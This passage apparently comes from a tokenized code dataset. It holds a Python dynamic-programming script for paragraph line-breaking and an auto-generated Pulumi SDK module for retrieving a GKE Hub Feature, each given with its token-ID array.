13,
1678,
9995,
1168,
29883,
2579,
403,
3651,
3412,
263,
716,
470,
5923,
9927,
29889,
13,
13,
1678,
12662,
2699,
13,
1678,
448,
1378,
29899,
13,
1678,
3651,
584,
4256,
519,
310,
28736,
13,
4706,
4398,
29879,
304,
5096,
4208,
29889,
7806,
2286,
338,
3806,
304,
505,
13,
4706,
9686,
13391,
322,
8267,
5174,
363,
3412,
278,
5096,
287,
13,
4706,
9927,
29889,
13,
1678,
3964,
584,
851,
470,
3630,
2588,
29892,
13136,
13,
4706,
4408,
310,
278,
9927,
304,
5096,
3412,
29889,
910,
508,
2845,
367,
263,
716,
13,
4706,
9927,
1024,
29892,
297,
607,
1206,
372,
338,
2715,
3412,
9685,
29922,
29900,
29892,
470,
385,
13,
4706,
5923,
9927,
1024,
29892,
297,
607,
1206,
278,
4423,
310,
278,
13,
4706,
9927,
338,
443,
15033,
29889,
6804,
304,
4635,
278,
716,
9927,
338,
13,
4706,
10087,
491,
278,
937,
2286,
29889,
13,
1678,
11909,
584,
6213,
470,
1051,
310,
1409,
29899,
4561,
29892,
13136,
13,
4706,
2391,
310,
6043,
7049,
607,
1580,
11057,
278,
6043,
11909,
304,
607,
13,
4706,
304,
3566,
1269,
8783,
3412,
278,
16125,
630,
9927,
29889,
960,
451,
13,
4706,
19056,
29892,
3618,
526,
16125,
630,
297,
278,
4944,
1797,
29889,
13,
1678,
21697,
584,
6120,
29892,
13136,
13,
4706,
910,
2984,
338,
1304,
25106,
304,
6210,
29899,
786,
2318,
1609,
6931,
29889,
13,
4706,
960,
421,
12759,
7582,
29952,
338,
5852,
29892,
777,
12747,
310,
7463,
5718,
3819,
1546,
13,
4706,
7049,
304,
16125,
403,
526,
14993,
2986,
29889,
13,
13,
1678,
16969,
13,
1678,
448,
22158,
13,
1678,
5096,
287,
584,
28736,
13,
4706,
23924,
2579,
630,
28736,
8429,
491,
5096,
292,
599,
278,
19056,
3651,
13,
4706,
3412,
278,
2183,
9927,
29889,
13,
1678,
9995,
13,
1678,
3651,
353,
1051,
29898,
20897,
29897,
13,
1678,
565,
599,
29898,
275,
8758,
29898,
29894,
29892,
11374,
16174,
29897,
363,
325,
297,
3651,
1125,
13,
4706,
736,
11374,
16174,
29889,
17685,
29898,
20897,
29892,
3964,
29892,
11909,
29892,
21697,
29897,
13,
1678,
1683,
29901,
13,
4706,
736,
28736,
29889,
17685,
29898,
20897,
29892,
3964,
29892,
11909,
29892,
21697,
29897,
13,
13,
13,
1753,
4974,
29918,
13092,
29918,
9910,
2248,
29918,
5563,
29918,
7039,
29898,
20897,
1125,
13,
1678,
9995,
5596,
363,
20498,
18543,
310,
14974,
3220,
3233,
2983,
297,
599,
2183,
13,
1678,
3651,
29889,
13,
13,
1678,
2216,
970,
3450,
29889,
501,
8485,
363,
8454,
5718,
3819,
310,
3630,
2588,
322,
13373,
24541,
13,
1678,
3618,
29889,
13,
1678,
9995,
13,
1678,
3233,
29918,
7039,
353,
2322,
8977,
29898,
1761,
29897,
13,
1678,
599,
29918,
5563,
29918,
7039,
353,
731,
580,
13,
1678,
363,
722,
29918,
978,
29892,
722,
297,
3651,
29889,
7076,
7295,
13,
4706,
565,
338,
8758,
29898,
1707,
3032,
1272,
29892,
349,
7086,
3220,
6168,
1125,
13,
9651,
22645,
29918,
5563,
29918,
7039,
353,
722,
29889,
517,
29918,
2248,
29918,
11918,
2141,
5563,
29918,
7039,
13,
9651,
565,
22645,
29918,
5563,
29918,
7039,
338,
451,
6213,
29901,
13,
18884,
363,
302,
297,
22645,
29918,
5563,
29918,
7039,
29901,
13,
462,
1678,
3233,
29918,
7039,
29961,
29876,
1822,
4397,
29898,
29888,
29908,
29912,
29876,
29991,
29878,
29913,
21313,
1707,
29918,
978,
1800,
1159,
13,
9651,
565,
22645,
29918,
5563,
29918,
7039,
29901,
13,
18884,
599,
29918,
5563,
29918,
7039,
29889,
5504,
29898,
13140,
29918,
5563,
29918,
7039,
29897,
13,
13,
1678,
363,
413,
29892,
325,
297,
3233,
29918,
7039,
29889,
7076,
7295,
13,
4706,
565,
413,
297,
3651,
29901,
13,
9651,
325,
29889,
4397,
703,
29414,
29879,
5513,
1273,
413,
29897,
13,
13,
1678,
7929,
29918,
7039,
353,
518,
29894,
363,
325,
297,
3233,
29918,
7039,
29889,
5975,
580,
565,
7431,
29898,
29894,
29897,
1405,
29871,
29896,
29962,
13,
1678,
565,
7929,
29918,
7039,
29901,
13,
4706,
14529,
29918,
710,
353,
6634,
29876,
1642,
7122,
28165,
11393,
7122,
29898,
29894,
29897,
363,
325,
297,
7929,
29918,
7039,
29897,
13,
4706,
12020,
7865,
2392,
703,
5527,
506,
1259,
14974,
3220,
3233,
1024,
29898,
29879,
1125,
29905,
29876,
29995,
29879,
29908,
1273,
14529,
29918,
710,
29897,
13,
1678,
396,
5399,
9476,
12757,
1546,
3233,
2983,
322,
13391,
402,
29950,
29901,
29906,
29906,
29929,
29929,
13,
1678,
363,
413,
29892,
325,
297,
3651,
29889,
7076,
7295,
13,
4706,
363,
270,
297,
325,
29889,
6229,
29879,
29901,
13,
9651,
565,
270,
297,
599,
29918,
5563,
29918,
7039,
29901,
13,
18884,
12020,
7865,
2392,
29898,
13,
462,
1678,
376,
5527,
506,
1259,
3233,
847,
9927,
2983,
29889,
6571,
376,
13,
462,
1678,
376,
284,
2040,
4864,
408,
263,
3233,
1024,
1213,
29889,
4830,
29898,
29881,
29897,
13,
18884,
1723,
13,
2
] |
assets/dynamic_programming.py | jskripchuk/jskripchuk.github.io | 0 | 97985 | infty = 999999
def whitespace(words, i, j):
return (L-(j-i)-sum([len(word) for word in words[i:j+1]]))
def cost(words,i,j):
total_char_length = sum([len(word) for word in words[i:j+1]])
if total_char_length > L-(j-i):
return infty
if j==len(words)-1:
return 0
return whitespace(words,i,j)**3
#words = ["one","two","three","four","five","six","seven"]
#L = 10
words = ["alpha", "beta", "gamma", "delta", "epsilon", "zeta", "eta", "theta", "iota", "kappa"]
L=15
# Setting up tables
costs = [[None for i in range(len(words))] for j in range(len(words))]
optimum_costs = [[None for i in range(len(words))] for j in range(len(words))]
break_table = [[None for i in range(len(words))] for j in range(len(words))]
for i in range(len(costs)):
for j in range(len(costs[i])):
costs[i][j] = cost(words,i,j)
def get_opt_cost(words,i,j):
# If this subproblem is already solved, return result
if(optimum_costs[i][j] != None):
return optimum_costs[i][j]
# There are now two main classes of ways we could get the optimum
# 1) The best choice is that we put all the words on one line
canidate_costs = [costs[i][j]]
canidate_list = [None]
if i!=j:
for k in range(i,j):
# Calculate optimum of words before line split
left_optimum = get_opt_cost(words,i,k)
optimum_costs[i][k] = left_optimum
# Calculate optimum of words after line split
right_optimum = get_opt_cost(words,k+1,j)
optimum_costs[k+1][j] = right_optimum
total_optimum = left_optimum+right_optimum
canidate_costs.append(total_optimum)
canidate_list.append(k)
min_cost= infty
min_canidate = None
for n, cost in enumerate(canidate_costs):
if cost < min_cost:
min_cost = cost
min_canidate = canidate_list[n]
break_table[i][j] = min_canidate
return min_cost
# Calculate the line breaks
def get_line_breaks(i,j):
if break_table[i][j] != None:
opt_break = get_line_breaks(break_table[i][j]+1,j)
return [break_table[i][j]]+opt_break
else:
return []
final_cost = get_opt_cost(words,0,len(words)-1)
breaks = get_line_breaks(0,len(words)-1)
def print_final_paragraph(words,breaks):
final_str = ""
cur_break_point = 0
for n, word in enumerate(words):
final_str = final_str+word+" "
if cur_break_point < len(breaks) and n==breaks[cur_break_point]:
final_str+="\n"
cur_break_point+=1
print(final_str)
print("Final Cost: ",final_cost)
print("Break Locations: ",breaks)
print("----")
print_final_paragraph(words,breaks)
| [
1,
297,
3312,
353,
29871,
29929,
29929,
29929,
29929,
29929,
29929,
13,
13,
1753,
24358,
29898,
9303,
29892,
474,
29892,
432,
1125,
13,
1678,
736,
313,
29931,
17722,
29926,
29899,
29875,
6817,
2083,
4197,
2435,
29898,
1742,
29897,
363,
1734,
297,
3838,
29961,
29875,
29901,
29926,
29974,
29896,
5262,
876,
13,
13,
1753,
3438,
29898,
9303,
29892,
29875,
29892,
29926,
1125,
13,
1678,
3001,
29918,
3090,
29918,
2848,
353,
2533,
4197,
2435,
29898,
1742,
29897,
363,
1734,
297,
3838,
29961,
29875,
29901,
29926,
29974,
29896,
24960,
13,
13,
1678,
565,
3001,
29918,
3090,
29918,
2848,
1405,
365,
17722,
29926,
29899,
29875,
1125,
13,
4706,
736,
297,
3312,
13,
13,
1678,
565,
432,
1360,
2435,
29898,
9303,
6817,
29896,
29901,
13,
4706,
736,
29871,
29900,
13,
13,
1678,
736,
24358,
29898,
9303,
29892,
29875,
29892,
29926,
29897,
1068,
29941,
13,
13,
29937,
9303,
353,
6796,
650,
3284,
10184,
3284,
17536,
3284,
17823,
3284,
20818,
3284,
28319,
3284,
344,
854,
3108,
13,
29937,
29931,
353,
29871,
29896,
29900,
13,
9303,
353,
6796,
2312,
613,
376,
3571,
613,
376,
4283,
613,
376,
4181,
613,
376,
5463,
613,
376,
11327,
613,
376,
1187,
613,
376,
3416,
613,
376,
29875,
4616,
613,
376,
9876,
3108,
13,
29931,
29922,
29896,
29945,
13,
13,
29937,
21605,
701,
6131,
13,
18253,
29879,
353,
5519,
8516,
363,
474,
297,
3464,
29898,
2435,
29898,
9303,
28166,
363,
432,
297,
3464,
29898,
2435,
29898,
9303,
28166,
13,
3670,
12539,
29918,
18253,
29879,
353,
5519,
8516,
363,
474,
297,
3464,
29898,
2435,
29898,
9303,
28166,
363,
432,
297,
3464,
29898,
2435,
29898,
9303,
28166,
13,
8690,
29918,
2371,
353,
5519,
8516,
363,
474,
297,
3464,
29898,
2435,
29898,
9303,
28166,
363,
432,
297,
3464,
29898,
2435,
29898,
9303,
28166,
13,
13,
1454,
474,
297,
3464,
29898,
2435,
29898,
18253,
29879,
22164,
13,
1678,
363,
432,
297,
3464,
29898,
2435,
29898,
18253,
29879,
29961,
29875,
12622,
29901,
13,
4706,
21544,
29961,
29875,
3816,
29926,
29962,
353,
3438,
29898,
9303,
29892,
29875,
29892,
29926,
29897,
13,
13,
1753,
679,
29918,
3670,
29918,
18253,
29898,
9303,
29892,
29875,
29892,
29926,
1125,
13,
1678,
396,
960,
445,
1014,
17199,
338,
2307,
7484,
29892,
736,
1121,
13,
13,
1678,
565,
29898,
3670,
12539,
29918,
18253,
29879,
29961,
29875,
3816,
29926,
29962,
2804,
6213,
1125,
13,
4706,
736,
5994,
398,
29918,
18253,
29879,
29961,
29875,
3816,
29926,
29962,
13,
13,
1678,
396,
1670,
526,
1286,
1023,
1667,
4413,
310,
5837,
591,
1033,
679,
278,
5994,
398,
13,
268,
13,
1678,
396,
29871,
29896,
29897,
450,
1900,
7348,
338,
393,
591,
1925,
599,
278,
3838,
373,
697,
1196,
13,
1678,
508,
333,
403,
29918,
18253,
29879,
353,
518,
18253,
29879,
29961,
29875,
3816,
29926,
5262,
13,
1678,
508,
333,
403,
29918,
1761,
353,
518,
8516,
29962,
13,
13,
1678,
565,
474,
19216,
29926,
29901,
13,
4706,
363,
413,
297,
3464,
29898,
29875,
29892,
29926,
1125,
13,
9651,
396,
20535,
403,
5994,
398,
310,
3838,
1434,
1196,
6219,
13,
9651,
2175,
29918,
3670,
12539,
353,
679,
29918,
3670,
29918,
18253,
29898,
9303,
29892,
29875,
29892,
29895,
29897,
13,
9651,
5994,
398,
29918,
18253,
29879,
29961,
29875,
3816,
29895,
29962,
353,
2175,
29918,
3670,
12539,
13,
13,
9651,
396,
20535,
403,
5994,
398,
310,
3838,
1156,
1196,
6219,
13,
9651,
1492,
29918,
3670,
12539,
353,
679,
29918,
3670,
29918,
18253,
29898,
9303,
29892,
29895,
29974,
29896,
29892,
29926,
29897,
13,
9651,
5994,
398,
29918,
18253,
29879,
29961,
29895,
29974,
29896,
3816,
29926,
29962,
353,
1492,
29918,
3670,
12539,
13,
13,
9651,
3001,
29918,
3670,
12539,
353,
2175,
29918,
3670,
12539,
29974,
1266,
29918,
3670,
12539,
13,
9651,
508,
333,
403,
29918,
18253,
29879,
29889,
4397,
29898,
7827,
29918,
3670,
12539,
29897,
13,
9651,
508,
333,
403,
29918,
1761,
29889,
4397,
29898,
29895,
29897,
13,
13,
1678,
1375,
29918,
18253,
29922,
297,
3312,
13,
1678,
1375,
29918,
3068,
333,
403,
353,
6213,
13,
1678,
363,
302,
29892,
3438,
297,
26985,
29898,
3068,
333,
403,
29918,
18253,
29879,
1125,
13,
4706,
565,
3438,
529,
1375,
29918,
18253,
29901,
13,
9651,
1375,
29918,
18253,
353,
3438,
13,
9651,
1375,
29918,
3068,
333,
403,
353,
508,
333,
403,
29918,
1761,
29961,
29876,
29962,
13,
13,
1678,
2867,
29918,
2371,
29961,
29875,
3816,
29926,
29962,
353,
1375,
29918,
3068,
333,
403,
13,
13,
1678,
736,
1375,
29918,
18253,
13,
13,
29937,
20535,
403,
278,
1196,
16706,
13,
1753,
679,
29918,
1220,
29918,
8690,
29879,
29898,
29875,
29892,
29926,
1125,
13,
1678,
565,
2867,
29918,
2371,
29961,
29875,
3816,
29926,
29962,
2804,
6213,
29901,
13,
4706,
3523,
29918,
8690,
353,
679,
29918,
1220,
29918,
8690,
29879,
29898,
8690,
29918,
2371,
29961,
29875,
3816,
29926,
10062,
29896,
29892,
29926,
29897,
13,
4706,
736,
518,
8690,
29918,
2371,
29961,
29875,
3816,
29926,
5262,
29974,
3670,
29918,
8690,
13,
1678,
1683,
29901,
13,
4706,
736,
5159,
13,
13,
13,
8394,
29918,
18253,
353,
679,
29918,
3670,
29918,
18253,
29898,
9303,
29892,
29900,
29892,
2435,
29898,
9303,
6817,
29896,
29897,
13,
8690,
29879,
353,
679,
29918,
1220,
29918,
8690,
29879,
29898,
29900,
29892,
2435,
29898,
9303,
6817,
29896,
29897,
13,
13,
1753,
1596,
29918,
8394,
29918,
26956,
29898,
9303,
29892,
8690,
29879,
1125,
13,
1678,
2186,
29918,
710,
353,
5124,
13,
1678,
3151,
29918,
8690,
29918,
3149,
353,
29871,
29900,
13,
1678,
363,
302,
29892,
1734,
297,
26985,
29898,
9303,
1125,
13,
4706,
2186,
29918,
710,
353,
2186,
29918,
710,
29974,
1742,
13578,
376,
13,
4706,
565,
3151,
29918,
8690,
29918,
3149,
529,
7431,
29898,
8690,
29879,
29897,
322,
302,
1360,
8690,
29879,
29961,
2764,
29918,
8690,
29918,
3149,
5387,
13,
9651,
2186,
29918,
710,
29974,
543,
29905,
29876,
29908,
13,
9651,
3151,
29918,
8690,
29918,
3149,
23661,
29896,
13,
13,
1678,
1596,
29898,
8394,
29918,
710,
29897,
13,
268,
13,
2158,
703,
15790,
9839,
29901,
9162,
8394,
29918,
18253,
29897,
13,
2158,
703,
20130,
557,
5976,
800,
29901,
9162,
8690,
29879,
29897,
13,
2158,
703,
807,
1159,
13,
2158,
29918,
8394,
29918,
26956,
29898,
9303,
29892,
8690,
29879,
29897,
13,
13,
13,
13,
13,
13,
13,
2
] |
sdk/python/pulumi_google_native/gkehub/v1/get_feature.py | AaronFriel/pulumi-google-native | 44 | 153461 | <filename>sdk/python/pulumi_google_native/gkehub/v1/get_feature.py
# coding=utf-8
# *** WARNING: this file was generated by the Pulumi SDK Generator. ***
# *** Do not edit by hand unless you're certain you know what you are doing! ***
import warnings
import pulumi
import pulumi.runtime
from typing import Any, Mapping, Optional, Sequence, Union, overload
from ... import _utilities
from . import outputs
__all__ = [
'GetFeatureResult',
'AwaitableGetFeatureResult',
'get_feature',
'get_feature_output',
]
@pulumi.output_type
class GetFeatureResult:
def __init__(__self__, create_time=None, delete_time=None, labels=None, membership_specs=None, membership_states=None, name=None, resource_state=None, spec=None, state=None, update_time=None):
if create_time and not isinstance(create_time, str):
raise TypeError("Expected argument 'create_time' to be a str")
pulumi.set(__self__, "create_time", create_time)
if delete_time and not isinstance(delete_time, str):
raise TypeError("Expected argument 'delete_time' to be a str")
pulumi.set(__self__, "delete_time", delete_time)
if labels and not isinstance(labels, dict):
raise TypeError("Expected argument 'labels' to be a dict")
pulumi.set(__self__, "labels", labels)
if membership_specs and not isinstance(membership_specs, dict):
raise TypeError("Expected argument 'membership_specs' to be a dict")
pulumi.set(__self__, "membership_specs", membership_specs)
if membership_states and not isinstance(membership_states, dict):
raise TypeError("Expected argument 'membership_states' to be a dict")
pulumi.set(__self__, "membership_states", membership_states)
if name and not isinstance(name, str):
raise TypeError("Expected argument 'name' to be a str")
pulumi.set(__self__, "name", name)
if resource_state and not isinstance(resource_state, dict):
raise TypeError("Expected argument 'resource_state' to be a dict")
pulumi.set(__self__, "resource_state", resource_state)
if spec and not isinstance(spec, dict):
raise TypeError("Expected argument 'spec' to be a dict")
pulumi.set(__self__, "spec", spec)
if state and not isinstance(state, dict):
raise TypeError("Expected argument 'state' to be a dict")
pulumi.set(__self__, "state", state)
if update_time and not isinstance(update_time, str):
raise TypeError("Expected argument 'update_time' to be a str")
pulumi.set(__self__, "update_time", update_time)
@property
@pulumi.getter(name="createTime")
def create_time(self) -> str:
"""
When the Feature resource was created.
"""
return pulumi.get(self, "create_time")
@property
@pulumi.getter(name="deleteTime")
def delete_time(self) -> str:
"""
When the Feature resource was deleted.
"""
return pulumi.get(self, "delete_time")
@property
@pulumi.getter
def labels(self) -> Mapping[str, str]:
"""
GCP labels for this Feature.
"""
return pulumi.get(self, "labels")
@property
@pulumi.getter(name="membershipSpecs")
def membership_specs(self) -> Mapping[str, str]:
"""
Optional. Membership-specific configuration for this Feature. If this Feature does not support any per-Membership configuration, this field may be unused. The keys indicate which Membership the configuration is for, in the form: `projects/{p}/locations/{l}/memberships/{m}` Where {p} is the project, {l} is a valid location and {m} is a valid Membership in this project at that location. {p} WILL match the Feature's project. {p} will always be returned as the project number, but the project ID is also accepted during input. If the same Membership is specified in the map twice (using the project ID form, and the project number form), exactly ONE of the entries will be saved, with no guarantees as to which. For this reason, it is recommended the same format be used for all entries when mutating a Feature.
"""
return pulumi.get(self, "membership_specs")
@property
@pulumi.getter(name="membershipStates")
def membership_states(self) -> Mapping[str, str]:
"""
Membership-specific Feature status. If this Feature does report any per-Membership status, this field may be unused. The keys indicate which Membership the state is for, in the form: `projects/{p}/locations/{l}/memberships/{m}` Where {p} is the project number, {l} is a valid location and {m} is a valid Membership in this project at that location. {p} MUST match the Feature's project number.
"""
return pulumi.get(self, "membership_states")
@property
@pulumi.getter
def name(self) -> str:
"""
The full, unique name of this Feature resource in the format `projects/*/locations/*/features/*`.
"""
return pulumi.get(self, "name")
@property
@pulumi.getter(name="resourceState")
def resource_state(self) -> 'outputs.FeatureResourceStateResponse':
"""
State of the Feature resource itself.
"""
return pulumi.get(self, "resource_state")
@property
@pulumi.getter
def spec(self) -> 'outputs.CommonFeatureSpecResponse':
"""
Optional. Hub-wide Feature configuration. If this Feature does not support any Hub-wide configuration, this field may be unused.
"""
return pulumi.get(self, "spec")
@property
@pulumi.getter
def state(self) -> 'outputs.CommonFeatureStateResponse':
"""
The Hub-wide Feature state.
"""
return pulumi.get(self, "state")
@property
@pulumi.getter(name="updateTime")
def update_time(self) -> str:
"""
When the Feature resource was last updated.
"""
return pulumi.get(self, "update_time")
class AwaitableGetFeatureResult(GetFeatureResult):
# pylint: disable=using-constant-test
def __await__(self):
if False:
yield self
return GetFeatureResult(
create_time=self.create_time,
delete_time=self.delete_time,
labels=self.labels,
membership_specs=self.membership_specs,
membership_states=self.membership_states,
name=self.name,
resource_state=self.resource_state,
spec=self.spec,
state=self.state,
update_time=self.update_time)
def get_feature(feature_id: Optional[str] = None,
location: Optional[str] = None,
project: Optional[str] = None,
opts: Optional[pulumi.InvokeOptions] = None) -> AwaitableGetFeatureResult:
"""
Gets details of a single Feature.
"""
__args__ = dict()
__args__['featureId'] = feature_id
__args__['location'] = location
__args__['project'] = project
if opts is None:
opts = pulumi.InvokeOptions()
if opts.version is None:
opts.version = _utilities.get_version()
__ret__ = pulumi.runtime.invoke('google-native:gkehub/v1:getFeature', __args__, opts=opts, typ=GetFeatureResult).value
return AwaitableGetFeatureResult(
create_time=__ret__.create_time,
delete_time=__ret__.delete_time,
labels=__ret__.labels,
membership_specs=__ret__.membership_specs,
membership_states=__ret__.membership_states,
name=__ret__.name,
resource_state=__ret__.resource_state,
spec=__ret__.spec,
state=__ret__.state,
update_time=__ret__.update_time)
@_utilities.lift_output_func(get_feature)
def get_feature_output(feature_id: Optional[pulumi.Input[str]] = None,
location: Optional[pulumi.Input[str]] = None,
project: Optional[pulumi.Input[Optional[str]]] = None,
opts: Optional[pulumi.InvokeOptions] = None) -> pulumi.Output[GetFeatureResult]:
"""
Gets details of a single Feature.
"""
...
| [
1,
529,
9507,
29958,
15348,
29914,
4691,
29914,
29886,
352,
15547,
29918,
3608,
29918,
11487,
29914,
29887,
446,
29882,
431,
29914,
29894,
29896,
29914,
657,
29918,
14394,
29889,
2272,
13,
29937,
14137,
29922,
9420,
29899,
29947,
13,
29937,
18610,
399,
25614,
29901,
445,
934,
471,
5759,
491,
278,
27477,
15547,
12967,
3251,
1061,
29889,
18610,
13,
29937,
18610,
1938,
451,
3863,
491,
1361,
6521,
366,
29915,
276,
3058,
366,
1073,
825,
366,
526,
2599,
29991,
18610,
13,
13,
5215,
18116,
13,
5215,
9505,
15547,
13,
5215,
9505,
15547,
29889,
15634,
13,
3166,
19229,
1053,
3139,
29892,
341,
20304,
29892,
28379,
29892,
922,
3910,
29892,
7761,
29892,
975,
1359,
13,
3166,
2023,
1053,
903,
4422,
1907,
13,
3166,
869,
1053,
14391,
13,
13,
1649,
497,
1649,
353,
518,
13,
1678,
525,
2577,
19132,
3591,
742,
13,
1678,
525,
29909,
10685,
519,
2577,
19132,
3591,
742,
13,
1678,
525,
657,
29918,
14394,
742,
13,
1678,
525,
657,
29918,
14394,
29918,
4905,
742,
13,
29962,
13,
13,
29992,
29886,
352,
15547,
29889,
4905,
29918,
1853,
13,
1990,
3617,
19132,
3591,
29901,
13,
1678,
822,
4770,
2344,
12035,
1649,
1311,
1649,
29892,
1653,
29918,
2230,
29922,
8516,
29892,
5217,
29918,
2230,
29922,
8516,
29892,
11073,
29922,
8516,
29892,
28512,
29918,
5965,
2395,
29922,
8516,
29892,
28512,
29918,
28631,
29922,
8516,
29892,
1024,
29922,
8516,
29892,
6503,
29918,
3859,
29922,
8516,
29892,
1580,
29922,
8516,
29892,
2106,
29922,
8516,
29892,
2767,
29918,
2230,
29922,
8516,
1125,
13,
4706,
565,
1653,
29918,
2230,
322,
451,
338,
8758,
29898,
3258,
29918,
2230,
29892,
851,
1125,
13,
9651,
12020,
20948,
703,
1252,
6021,
2980,
525,
3258,
29918,
2230,
29915,
304,
367,
263,
851,
1159,
13,
4706,
9505,
15547,
29889,
842,
22168,
1311,
1649,
29892,
376,
3258,
29918,
2230,
613,
1653,
29918,
2230,
29897,
13,
4706,
565,
5217,
29918,
2230,
322,
451,
338,
8758,
29898,
8143,
29918,
2230,
29892,
851,
1125,
13,
9651,
12020,
20948,
703,
1252,
6021,
2980,
525,
8143,
29918,
2230,
29915,
304,
367,
263,
851,
1159,
13,
4706,
9505,
15547,
29889,
842,
22168,
1311,
1649,
29892,
376,
8143,
29918,
2230,
613,
5217,
29918,
2230,
29897,
13,
4706,
565,
11073,
322,
451,
338,
8758,
29898,
21134,
29892,
9657,
1125,
13,
9651,
12020,
20948,
703,
1252,
6021,
2980,
525,
21134,
29915,
304,
367,
263,
9657,
1159,
13,
4706,
9505,
15547,
29889,
842,
22168,
1311,
1649,
29892,
376,
21134,
613,
11073,
29897,
13,
4706,
565,
28512,
29918,
5965,
2395,
322,
451,
338,
8758,
29898,
29885,
1590,
10475,
29918,
5965,
2395,
29892,
9657,
1125,
13,
9651,
12020,
20948,
703,
1252,
6021,
2980,
525,
29885,
1590,
10475,
29918,
5965,
2395,
29915,
304,
367,
263,
9657,
1159,
13,
4706,
9505,
15547,
29889,
842,
22168,
1311,
1649,
29892,
376,
29885,
1590,
10475,
29918,
5965,
2395,
613,
28512,
29918,
5965,
2395,
29897,
13,
4706,
565,
28512,
29918,
28631,
322,
451,
338,
8758,
29898,
29885,
1590,
10475,
29918,
28631,
29892,
9657,
1125,
13,
9651,
12020,
20948,
703,
1252,
6021,
2980,
525,
29885,
1590,
10475,
29918,
28631,
29915,
304,
367,
263,
9657,
1159,
13,
4706,
9505,
15547,
29889,
842,
22168,
1311,
1649,
29892,
376,
29885,
1590,
10475,
29918,
28631,
613,
28512,
29918,
28631,
29897,
13,
4706,
565,
1024,
322,
451,
338,
8758,
29898,
978,
29892,
851,
1125,
13,
9651,
12020,
20948,
703,
1252,
6021,
2980,
525,
978,
29915,
304,
367,
263,
851,
1159,
13,
4706,
9505,
15547,
29889,
842,
22168,
1311,
1649,
29892,
376,
978,
613,
1024,
29897,
13,
4706,
565,
6503,
29918,
3859,
322,
451,
338,
8758,
29898,
10314,
29918,
3859,
29892,
9657,
1125,
13,
9651,
12020,
20948,
703,
1252,
6021,
2980,
525,
10314,
29918,
3859,
29915,
304,
367,
263,
9657,
1159,
13,
4706,
9505,
15547,
29889,
842,
22168,
1311,
1649,
29892,
376,
10314,
29918,
3859,
613,
6503,
29918,
3859,
29897,
13,
4706,
565,
1580,
322,
451,
338,
8758,
29898,
6550,
29892,
9657,
1125,
13,
9651,
12020,
20948,
703,
1252,
6021,
2980,
525,
6550,
29915,
304,
367,
263,
9657,
1159,
13,
4706,
9505,
15547,
29889,
842,
22168,
1311,
1649,
29892,
376,
6550,
613,
1580,
29897,
13,
4706,
565,
2106,
322,
451,
338,
8758,
29898,
3859,
29892,
9657,
1125,
13,
9651,
12020,
20948,
703,
1252,
6021,
2980,
525,
3859,
29915,
304,
367,
263,
9657,
1159,
13,
4706,
9505,
15547,
29889,
842,
22168,
1311,
1649,
29892,
376,
3859,
613,
2106,
29897,
13,
4706,
565,
2767,
29918,
2230,
322,
451,
338,
8758,
29898,
5504,
29918,
2230,
29892,
851,
1125,
13,
9651,
12020,
20948,
703,
1252,
6021,
2980,
525,
5504,
29918,
2230,
29915,
304,
367,
263,
851,
1159,
13,
4706,
9505,
15547,
29889,
842,
22168,
1311,
1649,
29892,
376,
5504,
29918,
2230,
613,
2767,
29918,
2230,
29897,
13,
13,
1678,
732,
6799,
13,
1678,
732,
29886,
352,
15547,
29889,
657,
357,
29898,
978,
543,
3258,
2481,
1159,
13,
1678,
822,
1653,
29918,
2230,
29898,
1311,
29897,
1599,
851,
29901,
13,
4706,
9995,
13,
4706,
1932,
278,
5169,
1535,
6503,
471,
2825,
29889,
13,
4706,
9995,
13,
4706,
736,
9505,
15547,
29889,
657,
29898,
1311,
29892,
376,
3258,
29918,
2230,
1159,
13,
13,
1678,
732,
6799,
13,
1678,
732,
29886,
352,
15547,
29889,
657,
357,
29898,
978,
543,
8143,
2481,
1159,
13,
1678,
822,
5217,
29918,
2230,
29898,
1311,
29897,
1599,
851,
29901,
13,
4706,
9995,
13,
4706,
1932,
278,
5169,
1535,
6503,
471,
11132,
29889,
13,
4706,
9995,
13,
4706,
736,
9505,
15547,
29889,
657,
29898,
1311,
29892,
376,
8143,
29918,
2230,
1159,
13,
13,
1678,
732,
6799,
13,
1678,
732,
29886,
352,
15547,
29889,
657,
357,
13,
1678,
822,
11073,
29898,
1311,
29897,
1599,
341,
20304,
29961,
710,
29892,
851,
5387,
13,
4706,
9995,
13,
4706,
402,
6271,
11073,
363,
445,
5169,
1535,
29889,
13,
4706,
9995,
13,
4706,
736,
9505,
15547,
29889,
657,
29898,
1311,
29892,
376,
21134,
1159,
13,
13,
1678,
732,
6799,
13,
1678,
732,
29886,
352,
15547,
29889,
657,
357,
29898,
978,
543,
29885,
1590,
10475,
10649,
2395,
1159,
13,
1678,
822,
28512,
29918,
5965,
2395,
29898,
1311,
29897,
1599,
341,
20304,
29961,
710,
29892,
851,
5387,
13,
4706,
9995,
13,
4706,
28379,
29889,
341,
1590,
10475,
29899,
14940,
5285,
363,
445,
5169,
1535,
29889,
960,
445,
5169,
1535,
947,
451,
2304,
738,
639,
29899,
29924,
1590,
10475,
5285,
29892,
445,
1746,
1122,
367,
443,
3880,
29889,
450,
6611,
12266,
607,
341,
1590,
10475,
278,
5285,
338,
363,
29892,
297,
278,
883,
29901,
421,
16418,
19248,
29886,
6822,
2029,
800,
19248,
29880,
6822,
28109,
14587,
19248,
29885,
10114,
6804,
426,
29886,
29913,
338,
278,
2060,
29892,
426,
29880,
29913,
338,
263,
2854,
4423,
322,
426,
29885,
29913,
338,
263,
2854,
341,
1590,
10475,
297,
445,
2060,
472,
393,
4423,
29889,
426,
29886,
29913,
399,
24071,
1993,
278,
5169,
1535,
29915,
29879,
2060,
29889,
426,
29886,
29913,
674,
2337,
367,
4133,
408,
278,
2060,
1353,
29892,
541,
278,
2060,
3553,
338,
884,
9259,
2645,
1881,
29889,
960,
278,
1021,
341,
1590,
10475,
338,
6790,
297,
278,
2910,
8951,
313,
4746,
278,
2060,
3553,
883,
29892,
322,
278,
2060,
1353,
883,
511,
3721,
6732,
29923,
310,
278,
9976,
674,
367,
7160,
29892,
411,
694,
10509,
267,
408,
304,
607,
29889,
1152,
445,
2769,
29892,
372,
338,
13622,
278,
1021,
3402,
367,
1304,
363,
599,
9976,
746,
5478,
1218,
263,
5169,
1535,
29889,
13,
4706,
9995,
13,
4706,
736,
9505,
15547,
29889,
657,
29898,
1311,
29892,
376,
29885,
1590,
10475,
29918,
5965,
2395,
1159,
13,
13,
1678,
732,
6799,
13,
1678,
732,
29886,
352,
15547,
29889,
657,
357,
29898,
978,
543,
29885,
1590,
10475,
855,
1078,
1159,
13,
1678,
822,
28512,
29918,
28631,
29898,
1311,
29897,
1599,
341,
20304,
29961,
710,
29892,
851,
5387,
13,
4706,
9995,
13,
